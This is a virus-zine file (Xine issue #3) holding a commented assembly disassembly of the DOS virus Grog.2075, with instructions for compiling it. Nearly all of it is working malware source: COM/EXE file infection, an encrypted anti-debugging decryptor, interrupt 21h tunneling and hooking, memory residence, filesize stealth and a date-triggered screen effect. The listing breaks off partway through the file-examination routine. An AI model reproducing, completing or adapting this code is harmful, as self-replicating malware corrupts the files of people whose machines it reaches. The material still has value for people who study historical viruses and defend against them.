
                                        /-----------------------------\
                                        | Xine - issue #3 - Phile 306 |
                                        \-----------------------------/



comment *
			       Grog.2075
			     Disassembly by
			      Darkman/29A

  Grog.2075 is a 2075 bytes parasitic direct action and resident COM/EXE
  virus. Infects files at open file, delete file, get or set file attributes,
  load and/or execute program and extended open/create by prepending the virus
  to the infected COM file and appending to the infected EXE file. Grog.2075
  has an error handler, 8-bit subtract encryption in file, anti-tunneling,
  anti-debugging techniques, interrupt stealth at interrupt 21h, filesize
  stealth, restro structures and tunneling of interrupt 21h. Grog.2075 is
  using the pointer to address of interrupt 13h (disk) handler- and interrupt
  21h (DOS functions) get address of InDOS flag DOS exploits.

  To compile Grog.2075 with Turbo Assembler v 4.0 type:
    TASM /m GROG2075.ASM
    TLINK /t /x GROG2075.OBJ
*

.model tiny
.code
 org   100h				 ; Origin of Grog.2075

code_begin:
	     xor     ax,ax		 ; Zero AX
	     mov     es,ax		 ; ES = segment of interrupt table
	     mov     ds,ax		 ; DS = segment of interrupt table

	     inc     ah 		 ; Set trap flag
	     mov     dx,ax		 ;  "   "    "

	     mov     cx,(crypt_end-crypt_begin)
	     mov     di,(01h*04h)	 ; DI = offset of interrupt vector 01h
	     mov     si,di		 ; SI =   "    "      "       "     "
	     lodsw			 ; AX = offset of interrupt 01h
	     push    ax 		 ; Save AX at stack
	     lodsw			 ; AX = segment of interrupt 01h
	     push    ax 		 ; Save AX at stack

	     sub     si,02h		 ; SI = offset of segment of interr...

	     push    ds si		 ; Save registers at stack

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     si,crypt_begin	 ; SI = offset of crypt_begin

	     lea     ax,decryptor	 ; AX = offset of decryptor
	     stosw			 ; Set interrupt offset 01h
	     mov     ax,cs		 ; AX = segment of decryptor
	     stosw			 ; Set interrupt segment 01h

	     push    dx 		 ; Save DX at stack
	     popf			 ; Load flags from stack (DX)
decrypt_loop:
	     lodsb			 ; AL = byte of encrypted code

	     loop    decrypt_loop

	     mov     ax,4c47h		 ; Terminate with return code
	     int     21h
decrypt_exit:
	     iret			 ; Interrupt return!

decryptor    proc    near		 ; Anti-debugging decryptor
	     mov     bp,sp		 ; BP = stack pointer

	     push    ax 		 ; Save AX at stack

	     push    ds si		 ; Save registers at stack
	     lds     si,[bp+00h]	 ; DS:SI = pointer to decryptor loop
	     lodsb			 ; AL = byte of decryptor loop
	     pop     si ds		 ; Load registers from stack

	     cmp     al,0e2h		 ; LOOP imm8 (opcode 0e2h)?
	     jne     test_int21 	 ; Not equal? Jump to test_int21

	     pop     ax 		 ; Load AX from stack

	     add     al,00h		 ; Decrypt byte
decrypt_key  equ     byte ptr $-01h	 ; Decryption key

	     mov     [si-01h],al	 ; Store byte of decrypted code

	     jmp     decrypt_exit
test_int21:
	     cmp     al,0cdh		 ; INT 21h (opcode 0cdh,21h)?
	     pop     ax 		 ; Load AX from stack
	     jne     decrypt_exit	 ; Not equal? Jump to decrypt_exit
	     endp
crypt_begin:
	     pop     ax ax ax		 ; Load registers from stack

	     pop     di es ax		 ; Load registers from stack

	     stosw			 ; Set interrupt segment 01h
	     sub     di,04h		 ; DI = offset of offset of interru...
	     pop     ax 		 ; Load AX from stack
	     stosw			 ; Set interrupt offset 01h
virus_exit:
	     mov     bx,'Gg'             ; Grog.2075 function
	     mov     ax,4b47h		 ;     "        "
	     int     21h

	     mov     ax,2e01h		 ; Set verify flag (on)
	     xor     dl,dl		 ; Zero DL
	     int     21h

	     mov     ah,2fh		 ; Get disk transfer area address
	     int     21h
	     push    es bx		 ; Save registers at stack

	     call    install

	     lea     dx,dta		 ; DX = offset of dta
	     mov     ah,1ah		 ; Set disk transfer area address
	     call    int21_simula

	     call    test_assign
	     jne     infect_comma	 ; ASSIGN not installed? Jump to in...

	     mov     ax,601h		 ; Get drive assignment table
	     int     2fh
	     mov     al,es:[105h]	 ; AL = the drive which C: is mappe...

	     push    ax 		 ; Save AX at stack
	     mov     al,03h		 ; Mappe drive C: to drive C:
	     mov     es:[105h],al	 ; Store drive which C: is mapped to
infect_comma:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     dx,c__command_	 ; DX = offset of c__command_
	     mov     ax,4300h		 ; Get file attributes
	     int     21h

	     call    test_assign
mov_code_end:
	     jne     find_first 	 ; ASSIGN not installed? Jump to fi...

	     pop     ax 		 ; Load AX from stack
	     mov     es:[105h],al	 ; Store drive which C: is mapped to
find_first:
	     mov     ah,4eh		 ; Find first matching file
	     mov     cx,0000000000000111b
	     lea     dx,file_specifi	 ; DX = offset of file_specifi
find_next:
	     call    int21_simula
	     jc      set_dta_addr	 ; Error? Jump to set_dta_addr

	     lea     dx,filename	 ; DX = offset of filename
	     mov     ax,4300h		 ; Get file attributes
	     int     21h

	     mov     ah,4fh		 ; Find next matching file

	     jmp     find_next
set_dta_addr:
	     pop     dx ds		 ; Load registers from stack
	     mov     ah,1ah		 ; Set disk transfer area address
	     call    int21_simula

	     jmp     virus_exit

test_assign  proc    near		 ; Test if ASSIGN is installed
	     mov     ax,600h		 ; ASSIGN installation check
	     int     2fh
	     cmp     al,0ffh		 ; ASSIGN installed?

	     ret			 ; Return!
	     endp

install      proc    near		 ; Tunnel, allocate memory, move vi...
	     mov     ax,70h		 ; AX = segment of address of inter...
	     mov     ds,ax		 ; DS =    "    "     "    "     "
	     les     bx,ds:[0b4h]	 ; ES:BX = pointer to address of in...

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     word ptr [int13_addr],bx
	     mov     word ptr [int13_addr+02h],es

	     mov     ah,34h		 ; Get address of InDOS flag
	     int     21h
	     mov     ax,es		 ; AX = segment of DOS data segment

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     lea     di,dos_data_seg	 ; DI = offset of dos_data_seg
	     stosw			 ; Store segment of DOS data segment

	     xor     ax,ax		 ; Zero AX
	     mov     ds,ax		 ; DS = segment of interrupt table
	     mov     si,(21h*04h)	 ; SI = offset of interrupt vector 21h
	     lea     di,int21_origin	 ; DI = offset of int21_origin
	     push    si 		 ; Save SI at stack
	     movsw			 ; Get interrupt vector 21h
	     movsw			 ;  "      "       "     "

	     lea     di,int21_addr	 ; DI = offset of int21_addr
	     pop     si 		 ; Load SI from stack
	     movsw			 ; Get interrupt vector 21h
	     movsw			 ;  "      "       "     "

	     lds     si,ds:[01h*04h]	 ; DS:SI = pointer to interrupt 01h
	     lea     di,int01_addr	 ; DI = offset of int01_addr
	     mov     ax,si		 ; AX = offset of interrupt 01h
	     stosw			 ; Get interrupt offset 01h
	     mov     ax,ds		 ; AX = segment of interrupt 01h
	     stosw			 ; Get interrupt segment 01h

	     xor     ax,ax		 ; Zero AX
	     mov     es,ax		 ; ES = segment of interrupt table
	     mov     di,(01h*04h)	 ; DI = offset of interrupt vector 01h
	     lea     ax,tunneler	 ; AX = offset of tunneler
	     stosw			 ; Set interrupt offset 01h
	     mov     ax,cs		 ; AX = code segment
	     stosw			 ; Set interrupt segment 01h

	     pushf			 ; Save flags at stack
	     pop     ax 		 ; Load AX from stack (flags)
	     or      ah,00000001b	 ; Set trap flag
	     push    ax 		 ; Save AX at stack
	     popf			 ; Load flags from stack (AX)

	     mov     ax,4343h		 ; Unknown function
	     cli			 ; Clear interrupt-enable flag
	     pushf			 ; Save flags at stack
	     call    cs:[int21_origin]

	     pushf			 ; Save flags at stack
	     pop     ax 		 ; Load AX from stack (flags)
	     and     ah,11111110b	 ; Clear trap flag
	     push    ax 		 ; Save AX at stack
	     popf			 ; Load flags from stack (AX)

	     mov     ah,62h		 ; Get current PSP address
	     int     21h
	     mov     ds,bx		 ; DS = segment of PSP for current ...

	     cli			 ; Clear interrupt-enable flag
	     mov     ax,ds:[02h]	 ; AX = segment of first byte beyon...
	     mov     cx,((code_end-code_begin+0fh)/10h)*04h-02h
	     sub     ax,cx		 ; Subtract number of paragraphs to...
	     mov     ds:[02h],ax	 ; Store new segment of first byte ...

	     push    ax 		 ; Save AX at stack
	     mov     cx,ds		 ; CX = segment of PSP for current ...
	     sub     ax,cx		 ; Subtract segment of PSP for curr...
	     dec     cx 		 ; CX = segment of last MCB in chain
	     mov     ds,cx		 ; DS =    "    "   "    "  "    "
	     mov     ds:[03h],ax	 ; Store new size of memory block i...
	     pop     es 		 ; Load ES from stack (AX)

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     xor     si,si		 ; Zero SI
	     xor     di,di		 ; Zero DI
	     mov     cx,(code_end-code_begin+100h)
	     rep     movsb		 ; Move virus to top of memory

	     push    es 		 ; Save ES at stack
	     mov     es,cx		 ; ES = segment of interrupt table
	     mov     di,(21h*04h)	 ; DI = offset of interrupt vector 21h
	     lea     ax,int21_virus	 ; AX = offset of int21_virus
	     stosw			 ; Set interrupt offset 21h
	     pop     ax 		 ; Load AX from stack
	     stosw			 ; Set interrupt segment 21h

	     sti			 ; Set interrupt-enable flag

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     ret			 ; Return!
	     endp

tunneler     proc    near		 ; Interrupt 21h tunneler
	     push    ax bx		 ; Save registers at stack

	     mov     bx,cs		 ; BX = code segment
	     call    test_segment
	     cmp     bh,00h		 ; Not equal to data- and extra se...?
	     je      tst_zero_seg	 ; Equal? Jump to tst_zero_seg

	     jmp     code_seg_tst
tst_zero_seg:
	     xor     bx,bx		 ; BX = segment of interrupt table
	     call    test_segment
	     cmp     bh,00h		 ; Not equal to data- and extra se...?
	     je      test_cs_seg	 ; Equal? Jump to test_cs_seg

	     jmp     zero_seg_tst
test_cs_seg:
	     pop     bx ax		 ; Load registers from stack

	     push    bp 		 ; Save BP at stack
test_cs_seg_:
	     mov     bp,sp		 ; BP = stack pointer

	     push    ax 		 ; Save AX at stack
	     mov     ax,cs		 ; AX = code segment
	     cmp     [bp+04h],ax	 ; Code segment equal to segment of...
	     pop     ax 		 ; Load AX from stack
	     je      tunnel_exit_	 ; Equal? Jump to tunnel_exit_

	     cmp     [bp+04h],0f000h	 ; DOS data segment?
dos_data_seg equ     word ptr $-02h	 ; DOS data segment
	     jne     test_opcode	 ; Not equal? Jump to test_opcode

	     push    ax es		 ; Save registers at stack

	     les     ax,[bp+02h]	 ; ES:AX = pointer to interrupt 21h
	     mov     word ptr cs:[int21_addr],ax
	     mov     word ptr cs:[int21_addr+02h],es

	     pop     es ax		 ; Load registers from stack

	     and     [bp+06h],1111111011111111b

	     jmp     tunnel_exit_
test_opcode:
	     push    ds si ax		 ; Load registers from stack

	     lds     si,[bp+02h]	 ; DS:SI = pointer to interrupt 21h
	     lodsb			 ; AL = opcode of interrupt 21h
	     cmp     al,9dh		 ; POPF (opcode 9dh)?
	     jne     test_pushf 	 ; Not equal? Jump to test_pushf

	     or      [bp+08h],0000000100000000b

	     jmp     tunnel_exit
test_pushf:
	     cmp     al,9ch		 ; PUSHF (opcode 9ch)?
	     jne     test_iret		 ; Not equal? Jump to test_iret

	     jmp     pushf_simula
test_iret:
	     cmp     al,0cfh		 ; IRET (opcode 0cfh)?
	     jne     test_dec_sp	 ; Not equal? Jump to test_dec_sp

	     or      [bp+0ch],0000000100000000b
tunnel_exit:
	     pop     ax si ds		 ; Load registers from stack
tunnel_exit_:
	     pop     bp 		 ; Load BP from stack

	     iret			 ; Interrupt return!
test_dec_sp:
	     cmp     al,4ch		 ; DEC SP (opcode 4ch)?
	     jne     tunnel_exit	 ; Not equal? Jump to tunnel_exit

	     mov     ax,[bp+02h]	 ; AX = instruction pointer of inte...
	     inc     ax 		 ; Increase AX
	     mov     [bp+02h],ax	 ; Store instruction pointer of int...

	     push    di 		 ; Save DI at stack

	     push    ss 		 ; Save SS at stack
	     pop     ds 		 ; Load DS from stack (SS)

	     mov     si,sp		 ; SI = stack pointer
	     mov     di,bp		 ; DI = stack pointer
	     add     di,08h		 ; DI = offset of end of stack
move_stack:
	     lodsw			 ; AL = word of stack
	     mov     [si-03h],ax	 ; Store word of stack

	     cmp     si,di		 ; End of stack?
	     jne     move_stack 	 ; Not equal? Jump to move_stack

	     mov     al,01000011b	 ; AL = low-order 8-bits of flags
	     mov     [bp+07h],al	 ; Store low-order 8-bits of flags

	     dec     sp 		 ; Decrease SP

	     pop     di 		 ; Load DI from stack

	     pop     ax si ds		 ; Load registers from stack

	     jmp     test_cs_seg_
code_seg_tst:
	     pop     bx ax		 ; Load registers from stack

	     push    bp ds		 ; Save registers at stack

	     lea     bp,int24_exit	 ; BP = offset of int24_exit
	     mov     ds,bp		 ; DS =   "    "      "
	     lea     bp,tunneler	 ; BP = offset of tunneler
	     call    exam_mod_reg

	     pop     ds 		 ; Load DS from stack

	     jmp     test_cs_seg_
zero_seg_tst:
	     pop     bx ax		 ; Load registers from stack

	     push    bp 		 ; Save BP at stack

	     push    ds 		 ; Save DS at stack

	     lea     bp,int01_addr	 ; BP = offset of int01_addr
	     mov     ds,bp		 ; DS =   "    "      "
	     mov     bp,(01h*04h)	 ; BP = offset of interrupt vector 01h
	     call    exam_mod_reg

	     pop     ds 		 ; Load DS from stack

	     cmp     bp,05h		 ; Found offset of interrupt table?
	     je      tst_data_seg	 ; Equal? Jump to tst_data_seg

	     jmp     test_cs_seg_
tst_data_seg:
	     push    ax 		 ; Save AX at stack

	     push    cs 		 ; Save CS at stack

	     mov     ax,ds		 ; AX = data segment
	     cmp     ax,00h		 ; Segment of interrupt vector table?
	     je      mov_cs_to_ds	 ; Equal? Jump to mov_cs_to_ds

	     pop     es 		 ; Load ES from stack (CS)

	     jmp     jump_test_cs
mov_cs_to_ds:
	     pop     ds 		 ; Load DS from stack (CS)
jump_test_cs:
	     pop     ax 		 ; Load AX from stack

	     jmp     test_cs_seg_
pushf_simula:
	     mov     ax,[bp+02h]	 ; AX = instruction pointer of inte...
	     inc     ax 		 ; Increase AX
	     mov     [bp+02h],ax	 ; Store instruction pointer of int...

	     push    di ds		 ; Save registers at stack

	     push    ss 		 ; Save SS at stack
	     pop     ds 		 ; Load DS from stack (SS)

	     mov     si,sp		 ; SI = stack pointer
	     mov     di,bp		 ; DI = stack pointer
	     add     di,08h		 ; DI = offset of end of stack
move_stack_:
	     lodsw			 ; AL = word of stack
	     mov     [si-04h],ax	 ; Store word of stack

	     cmp     si,di		 ; End of stack?
	     jne     move_stack_	 ; Not equal? Jump to move_stack_

	     sub     sp,02h		 ; Subtract two from SP

	     pop     ds di		 ; Load registers from stack

	     push    [bp+04h]		 ; Save flags at stack
	     pop     [bp+06h]		 ; Load flags from stack

	     and     [bp+06h],1111111011111111b

	     pop     ax si ds		 ; Load registers from stack

	     jmp     test_cs_seg_

test_segment proc    near		 ; Test data- and extra segment
	     mov     ax,ds		 ; AX = data segment
	     cmp     ax,bx		 ; Equal to data segment
	     jne     test_es_seg	 ; Not equal? Jump to test_es_seg

	     ret			 ; Return!
test_es_seg:
	     mov     ax,es		 ; AX = extra segment
	     cmp     ax,bx		 ; Equal to extra segment?
	     jne     not_equal		 ; Not equal? Jump to not_equal

	     ret			 ; Return!
not_equal:
	     xor     bh,bh		 ; Segment not found

	     ret			 ; Return!
	     endp

exam_mod_reg proc    near		 ; Examine and prehaps modify register
	     cmp     ax,bp		 ; Equal to test register value?
	     jne     exam_bx_reg	 ; Not equal? Jump to exam_bx_reg

	     mov     ax,ds		 ; AX = new register value

	     jmp     found_reg
exam_bx_reg:
	     cmp     bx,bp		 ; Equal to test register value?
	     jne     exam_cx_reg	 ; Not equal? Jump to exam_cx_reg

	     mov     bx,ds		 ; BX = new register value

	     jmp     found_reg
exam_cx_reg:
	     cmp     cx,bp		 ; Equal to test register value?
	     jne     exam_dx_reg	 ; Not equal? Jump to exam_dx_reg

	     mov     cx,ds		 ; CX = new register value

	     jmp     found_reg
exam_dx_reg:
	     cmp     dx,bp		 ; Equal to test register value?
	     jne     exam_si_reg	 ; Not equal? Jump to exam_si_reg

	     mov     dx,ds		 ; DX = new register value

	     jmp     found_reg
exam_si_reg:
	     cmp     si,bp		 ; Equal to test register value?
	     jne     exam_di_reg	 ; Not equal? Jump to exam_di_reg

	     mov     si,ds		 ; SI = new register value

	     jmp     found_reg
exam_di_reg:
	     cmp     di,bp		 ; Equal to test register value?
	     jne     exam_reg_end	 ; Not equal? Jump to exam_reg_end

	     mov     di,ds		 ; DI = new register value
found_reg:
	     inc     bp 		 ; BP = found test register value
exam_reg_end:
	     ret			 ; Return!
	     endp
	     endp

xchg_int13   proc    near		 ; Exchange address of interrupt 13h
	     push    cs cs		 ; Save segments at stack
	     pop     ds es		 ; Load segments from stack (CS)

	     lea     si,int13_addr	 ; SI = offset of int13_addr
	     lodsw			 ; Load offset of interrupt 13h
	     push    ax 		 ; Save AX at stack
	     lodsw			 ; Load segment of interrupt 13h
	     push    ax 		 ; Save AX at stack

	     xor     ax,ax		 ; Zero AX
	     mov     ds,ax		 ; DS = segment of interrupt table
	     mov     si,(13h*04h)	 ; SI = offset of interrupt vector 13h
	     lea     di,int13_addr	 ; DI = offset of int13_addr
	     movsw			 ; Get interrupt vector 13h
	     movsw			 ;  "      "       "     "

	     xor     ax,ax		 ; Zero AX
	     mov     es,ax		 ; ES = segment of interrupt table
	     mov     di,(13h*04h+02h)	 ; DI = offset of interrupt segment...

	     std			 ; Set direction flag
	     pop     ax 		 ; Load AX from stack
	     stosw			 ; Set interrupt segment 13h
	     pop     ax 		 ; Load AX from stack
	     stosw			 ; Set interrupt offset 13h

	     cld			 ; Clear direction flag

	     push    cs cs		 ; Save segments at stack
	     pop     ds es		 ; Load segments from stack (CS)

	     ret			 ; Return!
	     endp
not_infectab:
	     xor     bl,bl		 ; File not infectable
infectable:
	     pop     cx di es		 ; Load registers from stack

	     ret			 ; Return!

examine_file proc    near		 ; Examine COM/EXE file
	     push    es di cx		 ; Save registers at stack

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)
find_zero:
	     lodsb			 ; AL = byte of filename
	     cmp     al,00h		 ; End of filename?
	     jne     find_zero		 ; Not equal? Jump to find_zero

	     sub     si,05h		 ; SI = offset of extension
	     lodsb			 ; AL = byte of filename
	     cmp     al,'.'              ; Found dot before the extension?
	     jne     not_infectab	 ; Not equal? Jump to not_infectab

	     mov     cs:[com_or_exe],00h ; COM executable

	     lea     di,com_executab	 ; DI = offset of com_executab
	     call    examine_name
	     je      prepare_loop	 ; COM executable? Jump to prepare_...

	     mov     cs:[com_or_exe],01h ; EXE executable

	     lea     di,exe_executab	 ; DI = offset of exe_executab
	     call    examine_name
	     jne     not_infectab	 ; EXE executable? Jump to not_infe...
prepare_loop:
	     sub     si,05h		 ; SI = offset of middle of filename
	     lea     di,table_begin	 ; DI = offset of table_begin
	     mov     cx,(table_end-table_begin)/04h
table_loop:
	     call    examine_name
	     je      not_infectab	 ; Equal? Jump to not_infectab

	     add     di,04h		 ; DI = offset of the next four byt...

	     loop    table_loop

	     mov     bl,01h		 ; File infectable

	     jmp     infectable
	     endp

examine_name proc    near		 ; Examine filename
	     push    si di cx		 ; Save registers at stack

	     mov     cx,04h		 ; Examine four bytes
examine_loop:
	     lodsb			 ; AL = byte of filename
	     and     al,01011111b	 ; Upcase character
	     scasb			 ; Match found in examined filename?
	     jne     not_matching	 ; Not equal? Jump to not_matching

	     loop    examine_loop
not_matching:
	     cmp     cl,00h		 ; Match found in examined filename

	     pop     cx di si		 ; Load registers from stack

	     ret			 ; Return!
	     endp

int24_virus  proc    near		 ; Interrupt 24h of Grog.2075
	     pop     ax ax ax		 ; Load registers from stack

	     pop     es ds bp di si dx cx bx ax

	     push    bp 		 ; Save BP at stack
	     mov     bp,sp		 ; BP = stack pointer
	     or      word ptr [bp+06h],0000000000000001b
	     pop     bp 		 ; Load BP from stack
int24_exit:
	     iret			 ; Interrupt return!
	     endp

	     nop
dta_stealth:
	     call    del_chklist
dta_stealth_:
	     popf			 ; Load flags from stack

	     call    int21_simula

	     push    ds es ax bx cx si	 ; Save registers at stack

	     pushf			 ; Save flags at stack
	     pop     ax 		 ; Load AX from stack (flags)

	     cld			 ; Clear direction flag

	     push    bp 		 ; Save BP at stack
	     mov     bp,sp		 ; BP = stack pointer
	     mov     [bp+12h],ax	 ; Store flags
	     pop     bp 		 ; Load BP from stack

	     jc      dta_dont_ste	 ; Error? Jump to dta_dont_ste

	     mov     ah,2fh		 ; Get disk transfer area address
	     call    int21_simula

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     mov     si,bx		 ; SI = offset of disk transfer area
	     add     si,16h		 ; SI = offset of file time
	     lodsw			 ; AX = file time

	     and     al,00011111b	 ; AL = seconds of file time
	     cmp     al,00010001b	 ; Infected (34 seconds)?
	     jne     dta_dont_ste	 ; Not infected? Jump to dta_dont_ste

	     sub     [si+02h],(code_end-code_begin)
dta_dont_ste:
	     pop     si cx bx ax es ds	 ; Load registers from stack

	     iret			 ; Interrupt return!
fcb_stealth:
	     call    del_chklist
fcb_stealth_:
	     popf			 ; Load flags from stack

	     call    int21_simula
	     cmp     al,00h		 ; Match no found?
	     jne     fcb_ste_exit	 ; Not equal? Jump to fcb_ste_exit

	     push    es ax bx		 ; Save registers at stack

	     mov     ah,51h		 ; Get current PSP address
	     call    int21_simula
	     mov     es,bx		 ; ES = segment of PSP for current ...
	     cmp     bx,es:[16h]	 ; Parent PSP equal to current PSP?
	     jne     fcb_dont_ste	 ; Not equal? Jump to fcb_dont_ste

	     mov     bx,dx		 ; BX = offset of unopened FCB
	     mov     al,[bx]		 ; AL = extended FCB

	     push    ax 		 ; Save AX at stack
	     mov     ah,2fh		 ; Get disk transfer area address
	     call    int21_simula
	     pop     ax 		 ; Load AX from stack

	     inc     al 		 ; Extended FCB?
	     jne     not_extended	 ; Not equal? Jump to not_extended

	     add     bx,07h		 ; BX = offset of normal FCB
not_extended:
	     mov     ax,es:[bx+17h]	 ; AX = file time
	     and     ax,0000000000011111b
	     cmp     ax,0000000000010001b
	     jne     fcb_dont_ste	 ; Not infected? Jump to fcb_dont_ste

	     sub     es:[bx+1dh],(code_end-code_begin)
fcb_dont_ste:
	     pop     bx ax es		 ; Load registers from stack
fcb_ste_exit:
	     iret			 ; Interrupt return!
set_int21_st:
	     mov     word ptr cs:[int21_origin],dx
	     mov     word ptr cs:[int21_origin+02h],ds

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
get_int21_st:
	     mov     bx,word ptr cs:[int21_origin]
	     mov     es,word ptr cs:[int21_origin+02h]

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
jmp_dta_ste:
	     jmp     dta_stealth_
jmp_dta_ste_:
	     jmp     dta_stealth
jmp_fcb_ste:
	     jmp     fcb_stealth_
jmp_fcb_ste_:
	     jmp     fcb_stealth

int21_virus  proc    near		 ; Interrupt 21h of Grog.2075
	     pushf			 ; Save flags at stack

	     push    ax 		 ; Save AX at stack
	     mov     ax,'Gg'
	     push    ax 		 ; Save AX at stack
	     pop     ax 		 ; Load AX from stack

	     dec     sp 		 ; Decrease SP
	     dec     sp 		 ; Decrease SP

	     pop     ax 		 ; Load AX from stack
	     cmp     ax,'Gg'             ; Tunneling?
	     pop     ax 		 ; Load AX from stack
	     je      test_functio	 ; No tunneling? Jump to test_functio

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
test_functio:
	     cmp     ah,4eh		 ; Find first matching file (DTA)?
	     je      jmp_dta_ste_	 ; Equal? Jump to jmp_dta_ste_
	     cmp     ah,4fh		 ; Find next matching file (DTA)?
	     je      jmp_dta_ste	 ; Equal? Jump to jmp_dta_ste
	     cmp     ah, 11h		 ; Find first matching file (DTA)?
	     je      jmp_fcb_ste_	 ; Equal? Jump to jmp_fcb_ste_
	     cmp     ah, 12h		 ; Find next matching file (DTA)?
	     je      jmp_fcb_ste	 ; Equal? Jump to jmp_fcb_ste

	     cmp     ax,2521h		 ; Set interrupt vector 21h?
	     je      set_int21_st	 ; Equal? Jump to set_int21_st
	     cmp     ax,3521h		 ; Get interrupt vector 21h?
	     je      get_int21_st	 ; Equal? Jump to get_int21_st

	     cmp     ax,4b47h		 ; Grog.2075 function?
	     je      jmp_grog_fun	 ; Equal? Jump to jmp_grog_fun

	     cmp     ax,6c00h		 ; Extended open/create?
	     je      tst_ext_open	 ; Equal? Jump to tst_ext_open
	     cmp     ah,3dh		 ; Open file?
	     je      tst_ext_open	 ; Equal? Jump to tst_ext_open
	     cmp     ah,56h		 ; Rename file?
	     je      tst_ext_open	 ; Equal? Jump to tst_ext_open
	     cmp     ah,43h		 ; Get or set file attributes?
	     je      tst_ext_open	 ; Equal? Jump to tst_ext_open
	     cmp     ah,41h		 ; Delete file?
	     je      tst_ext_open	 ; Equal? Jump to tst_ext_open
	     cmp     ah,4bh		 ; Load and/or execute program?
	     je      tst_ext_open	 ; Equal? Jump to tst_ext_open

	     jmp     int21_exit_
tst_ext_open:
	     push    ax bx cx dx si di bp ds es

	     cld			 ; Clear direction flag

	     cmp     ah,6ch		 ; Extended open/create?
	     jne     not_ext_open	 ; Not equal? Jump to not_ext_open

	     mov     dx,si		 ; DX = offset of filename
not_ext_open:
	     xor     al,al		 ; Zero AL
	     mov     bp,ax		 ; BP = DOS function
	     mov     si,es		 ; SI = extra segment

	     mov     ax,3524h		 ; Get interrupt vector 24h
	     call    int21_simula
	     push    bx es		 ; Save registers at stack

	     push    ds dx		 ; Save registers at stack

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     dx,int24_virus	 ; DX = offset of int24_virus
	     mov     ax,2524h		 ; Set interrupt vector 24h
	     call    int21_simula

	     pop     dx ds		 ; Load registers from stack

	     jmp     prepare_exam
jmp_grog_fun:
	     jmp     grog_functio
video_effect:
	     pop     ds dx		 ; Load registers from stack
	     mov     ax,2524h		 ; Set interrupt vector 24h
	     call    int21_simula

	     mov     ah,2ah		 ; Get system date
	     call    int21_simula
	     cmp     dl,11h		 ; Produce video effect?
	     jne     int21_exit 	 ; Not equal? Jump to int21_exit

	     mov     ax,40h		 ; AX = segment of BIOS data segment
	     mov     ds,ax		 ; DS =    "    "   "    "      "
	     mov     al,ds:[17h]	 ; AL = keyboard status flag one
	     and     al,01110000b	 ; Clear insert active, either alt ...
	     cmp     al,01110000b	 ; Caps lock, num lock and scroll l...
	     jne     int21_exit 	 ; Not equal? Jump to int21_exit

	     mov     ax,0b800h		 ; AX = segment of text video RAM
	     mov     es,ax		 ; ES =    "    "   "     "    "

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     xor     di,di		 ; Zero DI
	     lea     si,stdout_str+01h	 ; SI = offset of stdout_str + 01h
	     lea     bp,stdout_end	 ; BP = offset of stdout_end
sto_str_int3:
	     movsb			 ; Move byte of stdout_str to text ...

	     mov     al,0cch		 ; INT 03h (opcode 0cch)
	     stosb			 ; Store INT 03h

	     cmp     si,bp		 ; End of stdout_str?
	     jne     sto_str_int3	 ; Not equal? Jump to sto_str_int3

	     push    cs 		 ; Save CS at stack
	     pop     bx 		 ; Load BX from stack (CS)
	     sub     bx,1ffeh		 ; Subtract eight thousand nine-hun...

	     mov     ah,2ch		 ; Get system time
	     call    int21_simula
	     cmp     dx,bx		 ; Seconds below top of memory?
	     jb      store_nop		 ; Below? Jump to store_nop

	     xor     dh,dh		 ; Zero DH
store_nop:
	     push    dx 		 ; Save DX at stack
	     pop     es 		 ; Load ES from stack (DX)

	     mov     di,cx		 ; DI = hour and minute
	     mov     al,90h		 ; NOP (opcode 90h)
	     stosb			 ; Store NOP
int21_exit:
	     pop     es ds bp di si dx cx bx ax
int21_exit_:
	     popf			 ; Load flags from stack

	     db      0eah		 ; JMP imm32 (opcode 0eah)
int21_origin dd      ?			 ; Address of interrupt 21h
	     endp
grog_functio:
	     cmp     bx,'Gg'             ; Grog.2075 function?
	     jne     int21_exit_	 ; Not equal? Jump to int21_exit_

	     pop     ax ax ds		 ; Load registers from stack

	     push    ds 		 ; Save DS at stack
	     pop     es 		 ; Load ES from stack (DS)

	     cmp     [com_or_exe],01h	 ; EXE executable?
	     je      vir_exe_exit	 ; Equal? Jump to vir_exe_exit

	     mov     si,[origin_off]	 ; SI = offset of original code of ...
	     mov     ax,100h		 ; AX = offset of beginning of code
	     add     si,ax		 ; SI = offset of original code
	     mov     di,ax		 ; DI = offset of beginning of code
	     mov     cx,(code_end-code_begin)

	     push    ds ax		 ; Save registers at stack
restore_loop:
	     movsb			 ; Move the original code

	     loop    restore_loop
zero_regs:
	     xor     ax,ax		 ; Zero AX
	     mov     bx,ax		 ; Zero BX
	     mov     cx,ax		 ; Zero CX
	     mov     dx,ax		 ; Zero DX
	     mov     bp,ax		 ; Zero BP
	     mov     si,ax		 ; Zero SI
	     mov     di,ax		 ; Zero DI

	     iret			 ; Interrupt return!
vir_exe_exit:
	     mov     ah,62h		 ; Get current PSP address
	     call    int21_simula

	     add     bx,10h		 ; BX = segment of beginning of code
	     add     word ptr [file_header+16h],bx
	     add     word ptr [file_header+0eh],bx

	     pop     ax 		 ; Load AX from stack

	     cli			 ; Clear interrupt-enable flag
	     mov     ss,word ptr [file_header+0eh]
	     mov     sp,word ptr [file_header+10h]
	     sti			 ; Set interrupt-enable flag

	     push    ax 		 ; Save AX at stack
	     push    word ptr [file_header+16h]
	     push    word ptr [file_header+14h]

	     sub     bx,10h		 ; BX = segment of PSP for current ...
	     mov     ds,bx		 ; DS =    "    "   "   "     "     "
	     mov     es,bx		 ; ES =    "    "   "   "     "     "

	     jmp     zero_regs
prepare_exam:
	     mov     es,si		 ; ES = extra segment
	     mov     si,dx		 ; SI = offset of filename
	     call    examine_file
